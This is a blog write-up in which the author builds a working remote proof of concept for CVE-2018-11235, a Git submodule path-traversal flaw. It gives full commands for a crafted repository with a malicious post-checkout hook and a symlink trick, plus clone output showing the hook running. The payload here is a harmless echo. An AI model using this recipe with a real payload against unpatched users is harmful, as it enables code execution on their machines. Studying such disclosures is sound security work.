CVE-2018-11235 - Quick & Dirty PoC
Earlier this week, I stumbled upon a tweet that caught my interest:
Patches for git have been released, fixing cve-2018-11235, a RCE vulnerability I found! I’ll publish a write-up next week describing the vuln and how this gave me RCE on GitHub Pages. https://marc.info/?l=git&m=152761328506724&w=2 @_staaldraad
RCE on Git? That sounded juicy!
After researching a little, I quickly found a couple of posts that summarize very well what the issue is, and later a reddit thread with some interesting discussions. The mentioned resources do a far better job at explaining this vulnerability than I would ever dream of, so I recommend you read those before continuing.
What I did thought was that, since there are (or at least were at the time of writing this) no working PoCs that I know of, it could be interesting to develop my own, just to confirm I understood the process correctly.
Trying the easy way
Luckily, the commit that fixed the vulnerability in the official repository included a very self-explanatory test case, which I proceed to furiously copy and paste into a repo of my own to see if it worked. The commands were, more or less:
# First, create a test repository in /tmp
cd /tmp
git init test
# Then proceed to follow the test case steps
# An 'innocent' repository is needed to link our submodules to
git init innocent
git -C innocent commit --allow-empty -m foo
# Now, since I wanted this to be a remote PoC, I introduced a change here and pushed the repo to a remote Git server
cd innocent
git remote add origin <innocent-private-repo-url>
git push -u origin master
# Once that is done, it's time to return to our test repo and start creating our submodules, which are the key to RCE
cd ../test
# This submodule will serve our payload
# The command will create an 'evil' folder in the test repo which has a .git file that contains an url to the actual submodule's .git configuration folder, that is built like the following:
# ../.git/modules/${submodule_name}
# Keep this in mind because it will be important
git submodule add "<innocent-private-repo-url>" evil
# Now, we copy the git config folder of the submodule inside the test repo
mkdir modules
cp -r .git/modules/evil modules
# And then we can create our payload, which will be a simple echo to confirm we got RCE
# This hook will execute after a checkout, but only if a submodule .git config file points to moudles/evil
cat <<EOF > modules/evil/hooks/post-checkout
echo >&2 "YOU'VE BEEN PWND"
EOF
# ^ Yes, I changed that, the test case uses another message
# Now, in this step lies one of the fundamental pieces of the vuln: Path Traversal in submodule names
# Remember how the .git config file of the submodule pointed to the actual config folder? What if we put some Path Traversal characters in the submodule name?
git config -f .gitmodules submodule.evil.update checkout
git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil
# So, via Path Traversal, we effectively pointed the .git folder of the submodule to a path in the parent folder, outside of its own .git folder. The one that happens to contain our payload :-)
# With this, the contents of the submodule's configuration can get pushed to the remote
# Ofc, we can do this because our Git version isn't patched yet
# Now it's time to commit and push
git add modules
git commit -am evil
git remote add origin <test-private-repo-url>
git push -u origin master
# The test case mentions that another submodule that is checked out before our evil submodule is needed to ensure a .git/modules directory is created beforehand
# So let's do that, why not
git submodule add "<innocent-private-repo-url>" another-module
git add another-module
git commit -am another
git push
Okay, that was easy! Just copy-pasting and calling it a day, right? Let’s test our leet exploit. Just by cloning the repo with the --recursive
or --recurse-submodules
flags, the payload should execute…
$ git clone --recurse-submodules <test-private-repo-url>
Cloning into 'test'...
remote: Counting objects: 88, done.
remote: Compressing objects: 100% (64/64), done.
remote: Total 88 (delta 25), reused 0 (delta 0)
Receiving objects: 100% (88/88), 12.52 KiB | 0 bytes/s, done.
Resolving deltas: 100% (25/25), done.
Checking connectivity... done.
Submodule 'another-module' (<innocent-private-repo-url>) registered for path 'another-module'
Submodule '../../modules/evil' (<innocent-private-repo-url>) registered for path 'evil'
Cloning into 'another-module'...
remote: Counting objects: 2, done.
remote: Total 2 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (2/2), done.
Checking connectivity... done.
Submodule path 'another-module': checked out '2b1692beafc6a96b94591556d047e6d4dc63dafe'
fatal: Could not chdir to '../../../../../../evil': No such file or directory
Unable to fetch in submodule path 'evil'
What. Something went wrong here.
Oh, you tricky Path Traversal
Ok, so what happened? I double-checked the .git
file that got generated inside the evil
submodule folder, but it looked okay:
gitdir: ../.git/modules/../../modules/evil
It pointed to the correct location, the copied modules
folder that is inside the parent repo. So, what’s the configuration inside it?
$ cat modules/evil/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
worktree = ../../../../../../evil
[remote "origin"]
url = <innocent-private-repo-url>
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
Wow, look at that worktree
value. That’s definitely not what we pushed to the remote. What’s happening here?
Well, it turns out that Git seems to modify the worktree
value to make it work with the submodule folder in case you added extra directories in the path or something. So, what I guess it’s doing is:
- For every directory that is in
evil/.git
’s ‘gitdir
(after the..
), Git knows it will need to travel one directory back to get to the submodule folder again - So, once it reaches the submodule configuration folder, it alters its
worktree
value to make it point to the submodule folder. That means adding one../
for every directory it traveled before. - But, since we added some Path Traversal to that path, it’s traveling back too many directories, going outside the repo folder and giving an error before checking out, ruining the exploit.
I guess I didn’t explain myself very clearly there, but what indeed is clear is that we can’t execute our payload like this. We need to circumvent this problem of “going too many directories back”. I got pretty stuck at this point, until I re-read the Microsoft post, which gives a subtle hint when talking about the vulnerability remediation:
The solution to this problem is quite simple and effective: submodule’s folder names are now examined more closely by Git clients. They can no longer contain .. as a path segment, and they cannot be symbolic links, so they must be within the .git repository folder, and not in the actual repository’s working directory.
Huuummmm. Could we use a symbolic link to make Git think it’s in a directory when it’s actually deeper in our module
folder? After making some basic calculations (which I failed horribly several times until I got it right, and that’s basic counting, so you can see here my brilliant brain at its best), it seemed that with 4 extra directories, the modified worktree
would correctly point to the evil
submodule folder.
What do we have to lose?
cd modules/
mkdir -p 1/2/3/4
mv evil 1/2/3/4/
ln -s 1/2/3/4/evil evil
git add modules
git commit -m "symbolic link"
git push
Now, the evil
submodule’s .git
file points to modules/evil
, but modules/evil
is a symlink to modules/1/2/3/4/evil
, from where ../../../../../../evil
is the correct path to the evil
submodule folder. I know this is, like, giving you a headache, but follow me a little longer. We are, after all, one git clone
away of knowing if our guess is right or wrong:
$ git clone --recurse-submodules <test-private-repo-url>
/test.git
Cloning into 'test'...
remote: Counting objects: 95, done.
remote: Compressing objects: 100% (67/67), done.
remote: Total 95 (delta 26), reused 0 (delta 0)
Receiving objects: 100% (95/95), 12.90 KiB | 0 bytes/s, done.
Resolving deltas: 100% (26/26), done.
Checking connectivity... done.
Submodule 'another-module' (<innocent-private-repo-url>) registered for path 'another-module'
Submodule '../../modules/evil' (<innocent-private-repo-url>) registered for path 'evil'
Cloning into 'another-module'...
remote: Counting objects: 2, done.
remote: Total 2 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (2/2), done.
Checking connectivity... done.
Submodule path 'another-module': checked out '2b1692beafc6a96b94591556d047e6d4dc63dafe'
YOU'VE BEEN PWND
Submodule path 'evil': checked out '2b1692beafc6a96b94591556d047e6d4dc63dafe'
Yay!
Conclusion
This is a quick and dirty PoC I did just for the challenge. By no means I’m saying I deserve any credit for discovering or contributing to this vulnerability. I just wanted to try and see if I could develop a working, remote PoC before the official walkthrough and details were published. Congratulations and big thanks to @_staaldraad for the discovery, I’m dying to read more about it and how it worked on GitHub Pages!
Oh, and speaking of GitHub, I’m unable to push the PoC to a repo in there because they are blocking submodules with Path Traversal names now, which is good, but that means this walkthrough will need to be enough for you if you want to replicate my steps.
I hope this wasn’t too badly explained, I wanted it to be short and straightforward but I guess I diverged a little.
Thanks for reading!